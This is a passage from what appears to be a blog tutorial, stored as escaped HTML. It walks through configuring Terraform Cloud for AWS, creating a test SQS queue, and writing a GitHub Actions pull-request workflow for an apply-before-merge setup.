data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eprovider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  region\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"us-east-1\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003edefault_tags\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    tags\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      Owner   \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"john@sontek.net\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      Env     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Root\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      Service \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"BusinessOperations\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eNOTE\u003c/strong\u003e: You should replace \u003ccode\u003eorganization\u003c/code\u003e, \u003ccode\u003eworkspaces.name\u003c/code\u003e, and\n\u003ccode\u003etags.Owner\u003c/code\u003e to be your own values.\u003c/p\u003e\n\u003cp\u003eNow create a small resource to prove everything is working, we'll use SQS for\nthis. Create a file called \u003ccode\u003e2-sqs.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"default\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_sqs_queue\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"example-sqs\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e                        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"example-sqs\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  message_retention_seconds\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e86400\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  receive_wait_time_seconds\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eIf you run the plan you should see the resource it wants to create:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einit\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eplan\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eand you should see the run is executing in terraform cloud:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eRunning plan in Terraform Cloud. Output will stream here. Pressing Ctrl-C\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ewill stop streaming the logs, but will not stop the plan running remotely.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can click the link it provides to see the logs. Now lets apply this\nresource to see it all working:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e❯ terraform apply\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou should get a response like:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eApply complete! Resources: 1 added, 0 changed, 0 destroyed.\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo Terraform Cloud has full access to create AWS resources!   The final step\nis to get github running the plan/apply on pull requests. Commit these files\nto your repository and we'll remove them in a pull request. Create a\n\u003ccode\u003e.gitignore\u003c/code\u003e file in the root:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e.terraform*\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eand commit all the files:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eadd\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e*\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecommit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-m\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"initial infra\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egit\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epush\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eorigin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehead\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eGithub Actions\u003c/h1\u003e\n\u003cp\u003eThe two most popular workflows when using terraform are:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eApply after Merge\u003c/strong\u003e: This is the default for things like\n\u003ca href=\"https://terraform.io\"\u003eterraform cloud\u003c/a\u003e and most github actions.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eApply before Merge\u003c/strong\u003e: This is the default for things like\n\u003ca href=\"https://www.runatlantis.io/\"\u003eAtlantis\u003c/a\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI don't like apply-after-merge.  There are a lot of ways where a \u003ccode\u003eplan\u003c/code\u003e\ncan succeed but an \u003ccode\u003eapply\u003c/code\u003e will fail and you end up with broken configuration\nin \u003ccode\u003emain\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eSo in this article I'll show you how to implement \u003cstrong\u003eapply-before-merge\u003c/strong\u003e with\ngithub actions.\u003c/p\u003e\n\u003cp\u003eAll of these changes will be in the \u003ccode\u003einfra\u003c/code\u003e repository that was generated from\n\u003ccode\u003ebootstrap\u003c/code\u003e.  We are done with the bootstrap at this point.\u003c/p\u003e\n\u003cp\u003eFirst, lets setup the \u003ccode\u003e.github\u003c/code\u003e folder, the end result we want is:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e.github/\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e└──\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworkflows\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e├──\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eon-apply-finished.yml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e├──\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eon-pull-request-labeled.yml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e└──\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eon-pull-request.yml\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo create the folders:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emkdir\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-p\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.github/workflows\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eOn Pull Request\u003c/h1\u003e\n\u003cp\u003eThe first flow we'll create is the \u003ccode\u003eterraform plan\u003c/code\u003e workflow which should be\nran whenever a pull request is opened. Create the file\n\u003ccode\u003e.github/workflows/on-pull-request.yml\u003c/code\u003e and put this content in it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epr_build\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epull_request\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ebranches\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emain\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eenv\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eTERRAFORM_CLOUD_TOKENS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapp.terraform.io=${{ secrets.TFE_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eGITHUB_TOKEN\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ secrets.GITHUB_TOKEN }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eterraform_validate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eruns-on\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003estrategy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efail-fast\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ematrix\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efolder\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esteps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCheckout\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eterraform validate\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edflook/terraform-validate@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epath\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eworkspace\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eterraform_fmt\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eruns-on\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003estrategy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efail-fast\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003efalse\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ematrix\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003efolder\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eroot\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003esteps\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eterraform fmt\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edflook/terraform-fmt-check@v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003epath\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eworkspace\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e${{ matrix.folder }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eterraform_plan\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: 